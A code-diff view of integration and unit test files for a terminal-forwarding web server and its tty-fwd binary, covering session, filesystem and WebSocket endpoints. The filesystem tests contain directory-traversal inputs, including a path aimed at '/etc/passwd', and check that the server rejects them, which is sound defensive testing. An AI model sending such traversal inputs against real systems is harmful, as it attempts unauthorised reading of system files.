expect(response.body).toHaveProperty('parentPath');
expect(response.body).toHaveProperty('entries');
expect(Array.isArray(response.body.entries)).toBe(true);
expect(response.body.currentPath).toBe(testDir);
});
it('should create directories', async () => {
const parentDir = os.tmpdir();
const testDirName = `vibetunnel-test-${Date.now()}`;
const response = await request(app)
.post('/api/mkdir')
.send({
path: parentDir,
name: testDirName,
})
.expect(200);
expect(response.body.success).toBe(true);
expect(response.body.path).toContain(testDirName);
// Verify directory was created
const createdPath = path.join(parentDir, testDirName);
expect(fs.existsSync(createdPath)).toBe(true);
// Clean up
fs.rmdirSync(createdPath);
});
it('should handle directory creation errors', async () => {
// Try to create directory with invalid name
const response = await request(app)
.post('/api/mkdir')
.send({
path: os.tmpdir(),
name: '../../../etc/invalid',
})
.expect(400);
expect(response.body.error).toContain('Invalid directory name');
});
it('should prevent directory traversal', async () => {
const response = await request(app)
.get('/api/fs/browse')
.query({ path: '../../../etc/passwd' })
.expect(400);
expect(response.body.error).toContain('Invalid path');
});
});
describe('Error Handling', () => {
it('should handle invalid session IDs', async () => {
const invalidId = 'invalid-session-id';
const responses = await Promise.all([
request(app).get(`/api/sessions/${invalidId}/snapshot`).expect(404),
request(app).post(`/api/sessions/${invalidId}/input`).send({ data: 'test' }).expect(404),
request(app).delete(`/api/sessions/${invalidId}`).expect(404),
]);
responses.forEach((res) => {
expect(res.body).toHaveProperty('error');
});
});
it('should validate session creation parameters', async () => {
// Missing command
const missingCommand = await request(app)
.post('/api/sessions')
.send({ workingDir: os.tmpdir() })
.expect(400);
expect(missingCommand.body.error).toContain('Command array is required');
// Invalid command type
const invalidCommand = await request(app)
.post('/api/sessions')
.send({ command: 'not-an-array', workingDir: os.tmpdir() })
.expect(400);
expect(invalidCommand.body.error).toContain('Command array is required');
// Missing working directory
const missingDir = await request(app)
.post('/api/sessions')
.send({ command: ['ls'] })
.expect(400);
expect(missingDir.body.error).toContain('Working directory is required');
// Non-existent working directory
const invalidDir = await request(app)
.post('/api/sessions')
.send({ command: ['ls'], workingDir: '/non/existent/path' })
.expect(400);
expect(invalidDir.body.error).toContain('Working directory does not exist');
});
it('should handle command execution failures', async () => {
const response = await request(app)
.post('/api/sessions')
.send({
command: ['/non/existent/command'],
workingDir: os.tmpdir(),
})
.expect(200); // Session creation succeeds, but command will fail
const sessionId = response.body.sessionId;
activeSessionIds.push(sessionId);
// Wait for command to fail
await new Promise((resolve) => setTimeout(resolve, 500));
// Check session status
const listResponse = await request(app).get('/api/sessions').expect(200);
const session = listResponse.body.sessions.find((s: any) => s.id === sessionId);
if (session && session.status === 'exited') {
expect(session.exitCode).not.toBe(0);
}
});
});
describe('Cast File Generation', () => {
it('should generate test cast file', async () => {
const response = await request(app).get('/api/test-cast').expect(200);
expect(response.body).toHaveProperty('version');
expect(response.body).toHaveProperty('width');
expect(response.body).toHaveProperty('height');
expect(response.body).toHaveProperty('timestamp');
expect(response.body).toHaveProperty('events');
expect(response.body.version).toBe(2);
expect(Array.isArray(response.body.events)).toBe(true);
expect(response.body.events.length).toBeGreaterThan(0);
});
});
});

View file

@ -0,0 +1,180 @@
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { spawn } from 'child_process';
import path from 'path';
import fs from 'fs';
import os from 'os';
describe('Basic Integration Test', () => {
describe('tty-fwd binary', () => {
it('should be available and executable', () => {
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
expect(fs.existsSync(ttyFwdPath)).toBe(true);
// Check if executable
try {
fs.accessSync(ttyFwdPath, fs.constants.X_OK);
expect(true).toBe(true);
} catch (e) {
expect(e).toBeUndefined();
}
});
it('should show help information', async () => {
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
const result = await new Promise<string>((resolve, reject) => {
const proc = spawn(ttyFwdPath, ['--help']);
let output = '';
proc.stdout.on('data', (data) => {
output += data.toString();
});
proc.stderr.on('data', (data) => {
output += data.toString();
});
proc.on('close', (code) => {
if (code === 0) {
resolve(output);
} else {
reject(new Error(`Process exited with code ${code}: ${output}`));
}
});
});
expect(result).toContain('tty-fwd');
expect(result).toContain('Usage:');
});
it('should list sessions (empty)', async () => {
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now());
// Create control directory
fs.mkdirSync(controlDir, { recursive: true });
try {
const result = await new Promise<string>((resolve, reject) => {
const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']);
let output = '';
proc.stdout.on('data', (data) => {
output += data.toString();
});
proc.on('close', (code) => {
if (code === 0) {
resolve(output);
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
// Should return empty JSON object for no sessions
const sessions = JSON.parse(result);
expect(typeof sessions).toBe('object');
expect(Object.keys(sessions)).toHaveLength(0);
} finally {
// Clean up
fs.rmSync(controlDir, { recursive: true, force: true });
}
});
it('should create and list a session', async () => {
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now());
// Create control directory
fs.mkdirSync(controlDir, { recursive: true });
try {
// Create a session
const createResult = await new Promise<string>((resolve, reject) => {
const proc = spawn(ttyFwdPath, [
'--control-path',
controlDir,
'--session-name',
'Test Session',
'--',
'echo',
'Hello from tty-fwd',
]);
let output = '';
proc.stdout.on('data', (data) => {
output += data.toString();
});
proc.on('close', (code) => {
if (code === 0) {
resolve(output.trim());
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
// Should return a session ID (tty-fwd returns just the text output)
expect(createResult).toBeTruthy();
// List sessions
const listResult = await new Promise<string>((resolve, reject) => {
const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']);
let output = '';
proc.stdout.on('data', (data) => {
output += data.toString();
});
proc.on('close', (code) => {
if (code === 0) {
resolve(output);
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
// tty-fwd returns sessions as JSON object
const sessions = JSON.parse(listResult);
expect(typeof sessions).toBe('object');
// The session should be listed (note: tty-fwd might use a different key format)
const sessionKeys = Object.keys(sessions);
expect(sessionKeys.length).toBeGreaterThan(0);
} finally {
// Clean up
fs.rmSync(controlDir, { recursive: true, force: true });
}
});
});
describe('Server startup', () => {
it('should verify server dependencies exist', () => {
// Check that key files exist
const serverPath = path.resolve(__dirname, '../../server.ts');
const publicPath = path.resolve(__dirname, '../../../public');
// Debug paths
console.log('Looking for server at:', serverPath);
console.log('Server exists:', fs.existsSync(serverPath));
console.log('Looking for public at:', publicPath);
console.log('Public exists:', fs.existsSync(publicPath));
expect(fs.existsSync(serverPath)).toBe(true);
expect(fs.existsSync(publicPath)).toBe(true);
});
it('should load server module without crashing', async () => {
// Set up environment
process.env.NODE_ENV = 'test';
process.env.PORT = '0';
// This will test that the server module can be loaded
// In a real test, you'd start the server in a separate process
const serverPath = path.resolve(__dirname, '../../server.ts');
expect(fs.existsSync(serverPath)).toBe(true);
});
});
});

View file

@ -0,0 +1,209 @@
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import request from 'supertest';
import { Server } from 'http';
import path from 'path';
import fs from 'fs';
import os from 'os';
import { v4 as uuidv4 } from 'uuid';
// @ts-expect-error - TypeScript module imports in tests
import { app, server } from '../../server';
// Set up test environment
process.env.NODE_ENV = 'test';
process.env.PORT = '0';
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-lifecycle-test', uuidv4());
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
describe('Server Lifecycle Integration Tests', () => {
let port: number;
beforeAll(() => {
if (!fs.existsSync(testControlDir)) {
fs.mkdirSync(testControlDir, { recursive: true });
}
});
afterAll(() => {
if (fs.existsSync(testControlDir)) {
fs.rmSync(testControlDir, { recursive: true, force: true });
}
});
describe('Server Initialization', () => {
it('should start server and create control directory', async () => {
// Start server
await new Promise<void>((resolve) => {
if (!server.listening) {
server.listen(0, () => {
const address = server.address();
port = (address as any).port;
resolve();
});
} else {
const address = server.address();
port = (address as any).port;
resolve();
}
});
expect(port).toBeGreaterThan(0);
expect(server.listening).toBe(true);
// Verify control directory exists
expect(fs.existsSync(testControlDir)).toBe(true);
});
it('should serve static files', async () => {
// Test root route
const rootResponse = await request(app).get('/').expect(200);
expect(rootResponse.type).toContain('text/html');
expect(rootResponse.text).toContain('<!DOCTYPE html>');
// Test favicon
const faviconResponse = await request(app).get('/favicon.ico').expect(200);
expect(faviconResponse.type).toContain('image');
});
it('should handle 404 for non-existent routes', async () => {
const response = await request(app).get('/non-existent-route').expect(404);
expect(response.text).toContain('404');
});
it('should have all API endpoints available', async () => {
const endpoints = [
{ method: 'get', path: '/api/sessions' },
{ method: 'post', path: '/api/sessions' },
{ method: 'get', path: '/api/test-cast' },
{ method: 'get', path: '/api/fs/browse' },
{ method: 'post', path: '/api/mkdir' },
{ method: 'post', path: '/api/cleanup-exited' },
];
for (const endpoint of endpoints) {
const response = await request(app)[endpoint.method](endpoint.path);
// Should not return 404 (may return other errors like 400 for missing params)
expect(response.status).not.toBe(404);
}
});
});
describe('Middleware and Security', () => {
it('should parse JSON bodies', async () => {
const response = await request(app)
.post('/api/sessions')
.send({ test: 'data' })
.set('Content-Type', 'application/json')
.expect(400); // Will fail validation but should parse the body
expect(response.body).toHaveProperty('error');
});
it('should handle CORS headers', async () => {
const response = await request(app).get('/api/sessions').expect(200);
// In production, you might want to check for CORS headers
// For now, just verify the request succeeds
expect(response.body).toHaveProperty('sessions');
});
it('should handle large request bodies', async () => {
const largeCommand = Array(1000).fill('arg');
const response = await request(app)
.post('/api/sessions')
.send({
command: largeCommand,
workingDir: os.tmpdir(),
})
.expect(400); // Should fail but handle the large body
expect(response.body).toHaveProperty('error');
});
});
describe('Concurrent Request Handling', () => {
it('should handle multiple simultaneous requests', async () => {
const requestCount = 10;
const requests = [];
for (let i = 0; i < requestCount; i++) {
requests.push(request(app).get('/api/sessions'));
}
const responses = await Promise.all(requests);
// All requests should succeed
responses.forEach((response) => {
expect(response.status).toBe(200);
expect(response.body).toHaveProperty('sessions');
});
});
it('should handle mixed read/write operations', async () => {
const operations = [
request(app).get('/api/sessions'),
request(app)
.post('/api/sessions')
.send({
command: ['echo', 'test1'],
workingDir: os.tmpdir(),
}),
request(app).get('/api/test-cast'),
request(app)
.post('/api/sessions')
.send({
command: ['echo', 'test2'],
workingDir: os.tmpdir(),
}),
request(app).get('/api/fs/browse').query({ path: os.tmpdir() }),
];
const responses = await Promise.all(operations);
// All operations should complete without errors
responses.forEach((response) => {
expect(response.status).toBeLessThan(500); // No server errors
});
// Clean up created sessions
const createdSessions = responses
.filter((r) => r.body && r.body.sessionId)
.map((r) => r.body.sessionId);
for (const sessionId of createdSessions) {
await request(app).delete(`/api/sessions/${sessionId}`);
}
});
});
describe('Server Shutdown', () => {
it('should close gracefully', async () => {
// Create a session that will be active
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh', '-c', 'sleep 10'],
workingDir: os.tmpdir(),
})
.expect(200);
const sessionId = createResponse.body.sessionId;
// Close the server
await new Promise<void>((resolve) => {
server.close(() => {
resolve();
});
});
expect(server.listening).toBe(false);
// The session should be terminated (tty-fwd should handle this)
// In a real implementation, you might want to verify this
});
});
});

View file

@ -0,0 +1,243 @@
import { describe, it, expect, beforeAll, afterAll, beforeEach } from 'vitest';
import request from 'supertest';
import { Server } from 'http';
import path from 'path';
import fs from 'fs';
import os from 'os';
import { WebSocket } from 'ws';
// Set up test environment
process.env.NODE_ENV = 'test';
process.env.TTY_FWD_CONTROL_DIR = path.join(
os.tmpdir(),
'vibetunnel-server-test',
Date.now().toString()
);
// Create test control directory
const testControlDir = process.env.TTY_FWD_CONTROL_DIR;
if (!fs.existsSync(testControlDir)) {
fs.mkdirSync(testControlDir, { recursive: true });
}
describe('Server Integration Tests', () => {
let server: Server;
let app: any;
let port: number;
let baseUrl: string;
beforeAll(async () => {
// Import server after environment is set up
const serverModule = await import('../../server');
app = serverModule.app;
server = serverModule.server;
// Start server on random port
await new Promise<void>((resolve) => {
server = app.listen(0, () => {
const address = server.address();
port = (address as any).port;
baseUrl = `http://localhost:${port}`;
resolve();
});
});
});
afterAll(async () => {
// Close server
await new Promise<void>((resolve) => {
server.close(() => resolve());
});
// Clean up test directory
if (fs.existsSync(testControlDir)) {
fs.rmSync(testControlDir, { recursive: true });
}
});
describe('API Endpoints', () => {
describe('GET /api/sessions', () => {
it('should return sessions list', async () => {
const response = await request(app).get('/api/sessions').expect(200);
expect(Array.isArray(response.body)).toBe(true);
});
});
describe('POST /api/sessions', () => {
it('should validate command parameter', async () => {
const response = await request(app)
.post('/api/sessions')
.send({
command: 'not-an-array',
workingDir: process.cwd(),
})
.expect(400);
expect(response.body.error).toContain('Command array is required');
});
it('should validate working directory', async () => {
const response = await request(app)
.post('/api/sessions')
.send({
command: ['echo', 'test'],
})
.expect(400);
expect(response.body.error).toContain('Working directory is required');
});
it('should create session with valid parameters', async () => {
const response = await request(app)
.post('/api/sessions')
.send({
command: ['echo', 'hello'],
workingDir: process.cwd(),
name: 'Test Echo',
})
.expect(200);
expect(response.body).toHaveProperty('sessionId');
expect(response.body.sessionId).toBeTruthy();
});
});
describe('GET /api/fs/browse', () => {
it('should list directory contents', async () => {
const response = await request(app)
.get('/api/fs/browse')
.query({ path: process.cwd() })
.expect(200);
expect(response.body).toHaveProperty('entries');
expect(Array.isArray(response.body.entries)).toBe(true);
expect(response.body).toHaveProperty('currentPath');
});
it('should reject invalid paths', async () => {
const response = await request(app)
.get('/api/fs/browse')
.query({ path: '/nonexistent/path' })
.expect(404);
expect(response.body.error).toContain('Directory not found');
});
});
describe('POST /api/mkdir', () => {
it('should validate directory name', async () => {
const response = await request(app)
.post('/api/mkdir')
.send({
path: process.cwd(),
name: '../invalid',
})
.expect(400);
expect(response.body.error).toContain('Invalid directory name');
});
it('should create directory with valid name', async () => {
const testDirName = `test-dir-${Date.now()}`;
const response = await request(app)
.post('/api/mkdir')
.send({
path: process.cwd(),
name: testDirName,
})
.expect(200);
expect(response.body.success).toBe(true);
expect(response.body.path).toContain(testDirName);
// Clean up
const createdPath = path.join(process.cwd(), testDirName);
if (fs.existsSync(createdPath)) {
fs.rmdirSync(createdPath);
}
});
});
describe('GET /api/test-cast', () => {
it('should return test cast data', async () => {
// Skip this test if stream-out file doesn't exist
const testCastPath = path.join(__dirname, '../../../public/stream-out');
if (!fs.existsSync(testCastPath)) {
return;
}
const response = await request(app).get('/api/test-cast').expect(200);
// The endpoint returns plain text, not JSON
expect(response.type).toContain('text/plain');
});
});
});
describe('Static File Serving', () => {
it('should serve index.html for root path', async () => {
const response = await request(app).get('/').expect(200);
expect(response.type).toContain('text/html');
});
it('should handle 404 for non-existent files', async () => {
const response = await request(app).get('/non-existent-file.js').expect(404);
expect(response.text).toContain('404');
});
});
describe('WebSocket Connection', () => {
it('should accept WebSocket connections', (done) => {
const ws = new WebSocket(`ws://localhost:${port}?hotReload=true`);
ws.on('open', () => {
expect(ws.readyState).toBe(WebSocket.OPEN);
ws.close();
});
ws.on('close', () => {
done();
});
ws.on('error', (err) => {
done(err);
});
});
it('should reject non-hot-reload connections', (done) => {
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('close', (code, reason) => {
expect(code).toBe(1008);
expect(reason.toString()).toContain('Only hot reload connections supported');
done();
});
ws.on('error', () => {
// Expected to error
});
});
});
describe('Error Handling', () => {
it('should handle JSON parsing errors', async () => {
const response = await request(app)
.post('/api/sessions')
.set('Content-Type', 'application/json')
.send('invalid json')
.expect(400);
expect(response.status).toBe(400);
});
it('should handle server errors gracefully', async () => {
// Test with an endpoint that might fail
const response = await request(app).delete('/api/sessions/non-existent-session').expect(404);
expect(response.body).toHaveProperty('error');
});
});
});

View file

@ -0,0 +1,345 @@
import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';
import { WebSocket } from 'ws';
import request from 'supertest';
import { Server } from 'http';
import path from 'path';
import fs from 'fs';
import os from 'os';
import { v4 as uuidv4 } from 'uuid';
// @ts-expect-error - TypeScript module imports in tests
import { app, server, wss } from '../../server';
// Set up test environment
process.env.NODE_ENV = 'test';
process.env.PORT = '0';
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-ws-test', uuidv4());
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
beforeAll(() => {
if (!fs.existsSync(testControlDir)) {
fs.mkdirSync(testControlDir, { recursive: true });
}
});
afterAll(() => {
if (fs.existsSync(testControlDir)) {
fs.rmSync(testControlDir, { recursive: true, force: true });
}
});
describe('WebSocket Integration Tests', () => {
let port: number;
let wsUrl: string;
let activeSessionIds: string[] = [];
beforeAll(async () => {
// Get server port
await new Promise<void>((resolve) => {
if (!server.listening) {
server.listen(0, () => {
const address = server.address();
port = (address as any).port;
wsUrl = `ws://localhost:${port}`;
resolve();
});
} else {
const address = server.address();
port = (address as any).port;
wsUrl = `ws://localhost:${port}`;
resolve();
}
});
});
afterAll(async () => {
// Clean up sessions
for (const sessionId of activeSessionIds) {
try {
await request(app).delete(`/api/sessions/${sessionId}`);
} catch (e) {
// Ignore
}
}
// Close all WebSocket connections
wss.clients.forEach((client: any) => {
if (client.readyState === WebSocket.OPEN) {
client.close();
}
});
// Close server
await new Promise<void>((resolve) => {
server.close(() => resolve());
});
});
afterEach(() => {
// Clean up sessions after each test
activeSessionIds = [];
});
describe('Hot Reload WebSocket', () => {
it('should accept hot reload connections', (done) => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
ws.on('open', () => {
expect(ws.readyState).toBe(WebSocket.OPEN);
ws.close();
done();
});
ws.on('error', done);
});
it('should reject non-hot-reload connections', (done) => {
const ws = new WebSocket(wsUrl);
ws.on('close', (code, reason) => {
expect(code).toBe(1008);
expect(reason.toString()).toContain('Only hot reload connections supported');
done();
});
ws.on('error', () => {
// Expected
});
});
it('should handle multiple hot reload clients', async () => {
const clients: WebSocket[] = [];
const connectionPromises = [];
// Connect multiple clients
for (let i = 0; i < 3; i++) {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
clients.push(ws);
const promise = new Promise<void>((resolve, reject) => {
ws.on('open', () => resolve());
ws.on('error', reject);
});
connectionPromises.push(promise);
}
await Promise.all(connectionPromises);
// All clients should be connected
expect(clients.every((ws) => ws.readyState === WebSocket.OPEN)).toBe(true);
// Clean up
clients.forEach((ws) => ws.close());
});
});
describe('Terminal Session WebSocket (Future)', () => {
// Note: The current server implementation only supports hot reload WebSockets
// These tests document the expected behavior for terminal session WebSockets
// when that functionality is implemented
it.skip('should subscribe to terminal session output', async () => {
// Create a session first
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh', '-c', 'for i in 1 2 3; do echo "Line $i"; sleep 0.1; done'],
workingDir: os.tmpdir(),
name: 'WebSocket Test',
})
.expect(200);
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
// Connect WebSocket and subscribe
const ws = new WebSocket(wsUrl);
const messages: any[] = [];
ws.on('message', (data) => {
messages.push(JSON.parse(data.toString()));
});
await new Promise<void>((resolve) => {
ws.on('open', () => {
// Subscribe to session
ws.send(
JSON.stringify({
type: 'subscribe',
sessionId: sessionId,
})
);
resolve();
});
});
// Wait for messages
await new Promise((resolve) => setTimeout(resolve, 1000));
// Should have received output
const outputMessages = messages.filter((m) => m.type === 'terminal-output');
expect(outputMessages.length).toBeGreaterThan(0);
ws.close();
});
it.skip('should handle terminal input via WebSocket', async () => {
// Create an interactive session
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh'],
workingDir: os.tmpdir(),
name: 'Interactive Test',
})
.expect(200);
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
// Connect and send input
const ws = new WebSocket(wsUrl);
await new Promise<void>((resolve) => {
ws.on('open', () => {
// Send input
ws.send(
JSON.stringify({
type: 'input',
sessionId: sessionId,
data: 'echo "Hello WebSocket"\n',
})
);
resolve();
});
});
// Wait for processing
await new Promise((resolve) => setTimeout(resolve, 500));
// Get snapshot to verify input was processed
const snapshotResponse = await request(app)
.get(`/api/sessions/${sessionId}/snapshot`)
.expect(200);
const output = snapshotResponse.body.lines.join('\n');
expect(output).toContain('Hello WebSocket');
ws.close();
});
it.skip('should handle terminal resize via WebSocket', async () => {
// Create a session
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh'],
workingDir: os.tmpdir(),
name: 'Resize Test',
})
.expect(200);
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
// Connect and resize
const ws = new WebSocket(wsUrl);
await new Promise<void>((resolve) => {
ws.on('open', () => {
// Send resize
ws.send(
JSON.stringify({
type: 'resize',
sessionId: sessionId,
cols: 120,
rows: 40,
})
);
resolve();
});
});
// Wait for processing
await new Promise((resolve) => setTimeout(resolve, 200));
// Verify resize (would need to check terminal dimensions)
ws.close();
});
});
describe('WebSocket Error Handling', () => {
it('should handle malformed messages gracefully', (done) => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
ws.on('open', () => {
// Send invalid JSON
ws.send('invalid json {');
// Should not crash the server
setTimeout(() => {
expect(ws.readyState).toBe(WebSocket.OPEN);
ws.close();
done();
}, 100);
});
ws.on('error', done);
});
it('should handle connection drops', async () => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
await new Promise<void>((resolve) => {
ws.on('open', resolve);
});
// Abruptly terminate connection
ws.terminate();
// Server should continue functioning
const response = await request(app).get('/api/sessions').expect(200);
expect(response.body).toHaveProperty('sessions');
});
});
describe('WebSocket Performance', () => {
it('should handle rapid message sending', async () => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
await new Promise<void>((resolve) => {
ws.on('open', resolve);
});
// Send many messages rapidly
const messageCount = 100;
for (let i = 0; i < messageCount; i++) {
ws.send(JSON.stringify({ type: 'test', index: i }));
}
// Should not crash or lose connection
await new Promise((resolve) => setTimeout(resolve, 500));
expect(ws.readyState).toBe(WebSocket.OPEN);
ws.close();
});
it('should handle large messages', async () => {
const ws = new WebSocket(`${wsUrl}?hotReload=true`);
await new Promise<void>((resolve) => {
ws.on('open', resolve);
});
// Send a large message
const largeData = 'x'.repeat(1024 * 1024); // 1MB
ws.send(JSON.stringify({ type: 'test', data: largeData }));
// Should handle it without issues
await new Promise((resolve) => setTimeout(resolve, 200));
expect(ws.readyState).toBe(WebSocket.OPEN);
ws.close();
});
});
});

View file

@ -35,7 +35,7 @@ describe('Session Manager', () => {
beforeEach(() => {
vi.clearAllMocks();
mockSpawn = vi.mocked(spawn);
// Default mock for tty-fwd
const mockTtyFwdProcess = {
stdout: {
@ -51,7 +51,7 @@ describe('Session Manager', () => {
}),
kill: vi.fn(),
};
mockSpawn.mockReturnValue(mockTtyFwdProcess);
});
@ -62,12 +62,12 @@ describe('Session Manager', () => {
describe('Session Lifecycle', () => {
it('should create a session with valid parameters', async () => {
const serverModule = await import('../../server');
// Simulate session creation through the spawn command
const sessionId = 'test-' + Date.now();
const command = ['bash', '-l'];
const workingDir = '/home/test/projects';
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
@ -82,17 +82,17 @@ describe('Session Manager', () => {
}),
kill: vi.fn(),
}));
// Test the spawn command execution
const args = ['spawn', '--name', 'Test Session', '--cwd', workingDir, '--', ...command];
const result = await new Promise((resolve, reject) => {
const proc = mockSpawn('tty-fwd', args);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', (code: number) => {
if (code === 0) {
resolve(output);
@ -101,7 +101,7 @@ describe('Session Manager', () => {
}
});
});
expect(result).toBe('Session created successfully');
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args);
});
@ -109,11 +109,11 @@ describe('Session Manager', () => {
it('should handle session with environment variables', async () => {
const env = { NODE_ENV: 'test', CUSTOM_VAR: 'value' };
const command = ['node', 'app.js'];
// Test environment variable passing
const envArgs = Object.entries(env).flatMap(([key, value]) => ['--env', `${key}=${value}`]);
const args = ['spawn', ...envArgs, '--', ...command];
mockSpawn.mockImplementationOnce(() => ({
stdout: { on: vi.fn() },
stderr: { on: vi.fn() },
@ -122,13 +122,13 @@ describe('Session Manager', () => {
}),
kill: vi.fn(),
}));
const proc = mockSpawn('tty-fwd', args);
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', expect.arrayContaining([
'--env', 'NODE_ENV=test',
'--env', 'CUSTOM_VAR=value',
]));
expect(mockSpawn).toHaveBeenCalledWith(
'tty-fwd',
expect.arrayContaining(['--env', 'NODE_ENV=test', '--env', 'CUSTOM_VAR=value'])
);
});
it('should list all active sessions', async () => {
@ -178,11 +178,11 @@ describe('Session Manager', () => {
const result = await new Promise((resolve, reject) => {
const proc = mockSpawn('tty-fwd', ['list']);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', (code: number) => {
if (code === 0) {
resolve(JSON.parse(output));
@ -198,7 +198,7 @@ describe('Session Manager', () => {
it('should terminate a running session', async () => {
const sessionId = 'session-to-terminate';
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
@ -217,11 +217,11 @@ describe('Session Manager', () => {
const result = await new Promise((resolve, reject) => {
const proc = mockSpawn('tty-fwd', ['terminate', sessionId]);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', (code: number) => {
if (code === 0) {
resolve(output);
@ -254,11 +254,11 @@ describe('Session Manager', () => {
const result = await new Promise((resolve, reject) => {
const proc = mockSpawn('tty-fwd', ['clean']);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', (code: number) => {
if (code === 0) {
resolve(output);
@ -277,7 +277,7 @@ describe('Session Manager', () => {
it('should write input to a session', async () => {
const sessionId = 'interactive-session';
const input = 'echo "Hello, World!"\n';
mockSpawn.mockImplementationOnce(() => ({
stdout: { on: vi.fn() },
stderr: { on: vi.fn() },
@ -288,7 +288,7 @@ describe('Session Manager', () => {
}));
const proc = mockSpawn('tty-fwd', ['write', sessionId, input]);
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['write', sessionId, input]);
});
@ -296,7 +296,7 @@ describe('Session Manager', () => {
const sessionId = 'resize-session';
const cols = 120;
const rows = 40;
mockSpawn.mockImplementationOnce(() => ({
stdout: { on: vi.fn() },
stderr: { on: vi.fn() },
@ -307,13 +307,8 @@ describe('Session Manager', () => {
}));
const proc = mockSpawn('tty-fwd', ['resize', sessionId, String(cols), String(rows)]);
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', [
'resize',
sessionId,
'120',
'40',
]);
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['resize', sessionId, '120', '40']);
});
it('should get terminal snapshot', async () => {
@ -329,7 +324,7 @@ describe('Session Manager', () => {
cols: 80,
rows: 24,
};
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
@ -348,11 +343,11 @@ describe('Session Manager', () => {
const result = await new Promise((resolve, reject) => {
const proc = mockSpawn('tty-fwd', ['snapshot', sessionId]);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', (code: number) => {
if (code === 0) {
resolve(JSON.parse(output));
@ -373,13 +368,13 @@ describe('Session Manager', () => {
mockStreamProcess.stdout = new EventEmitter();
mockStreamProcess.stderr = new EventEmitter();
mockStreamProcess.kill = vi.fn();
mockSpawn.mockImplementationOnce(() => mockStreamProcess);
// Start streaming
const streamData: string[] = [];
const proc = mockSpawn('tty-fwd', ['stream', sessionId]);
proc.stdout.on('data', (data: Buffer) => {
streamData.push(data.toString());
});
@ -414,11 +409,11 @@ describe('Session Manager', () => {
const result = await new Promise((resolve) => {
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'invalid-command']);
let error = '';
proc.stderr.on('data', (data: Buffer) => {
error += data.toString();
});
proc.on('close', (code: number) => {
resolve({ code, error });
});
@ -435,11 +430,11 @@ describe('Session Manager', () => {
on: vi.fn(),
kill: vi.fn(),
};
mockSpawn.mockImplementationOnce(() => mockSlowProcess);
const proc = mockSpawn('tty-fwd', ['list']);
// Simulate timeout
const timeoutId = setTimeout(() => {
proc.kill('SIGTERM');
@ -468,11 +463,11 @@ describe('Session Manager', () => {
const result = await new Promise((resolve) => {
const proc = mockSpawn('tty-fwd', ['terminate', 'non-existent-session']);
let error = '';
proc.stderr.on('data', (data: Buffer) => {
error += data.toString();
});
proc.on('close', (code: number) => {
resolve({ code, error });
});
@ -482,4 +477,4 @@ describe('Session Manager', () => {
expect((result as any).error).toContain('Session not found');
});
});
});
});

View file

@ -0,0 +1,43 @@
import { vi } from 'vitest';
// Set test environment
process.env.NODE_ENV = 'test';
process.env.VITEST_INTEGRATION = 'true';
// Don't mock dependencies for integration tests
// We want to test the real implementation
// Set up global test utilities
global.fetch = vi.fn();
// Increase timeout for integration tests
vi.setConfig({ testTimeout: 30000 });
// Clean up any leftover test data
import fs from 'fs';
import path from 'path';
import os from 'os';
const cleanupTestDirectories = () => {
const testDirPattern = /vibetunnel-(test|ws-test|lifecycle-test)/;
const tmpDir = os.tmpdir();
try {
const entries = fs.readdirSync(tmpDir);
entries.forEach((entry) => {
if (testDirPattern.test(entry)) {
const fullPath = path.join(tmpDir, entry);
try {
fs.rmSync(fullPath, { recursive: true, force: true });
} catch (e) {
// Ignore errors during cleanup
}
}
});
} catch (e) {
// Ignore errors
}
};
// Clean up before tests
cleanupTestDirectories();

View file

@ -3,19 +3,22 @@ import { vi } from 'vitest';
// Set test environment
process.env.NODE_ENV = 'test';
// Mock node-pty for tests since it requires native bindings
vi.mock('node-pty', () => ({
spawn: vi.fn(() => ({
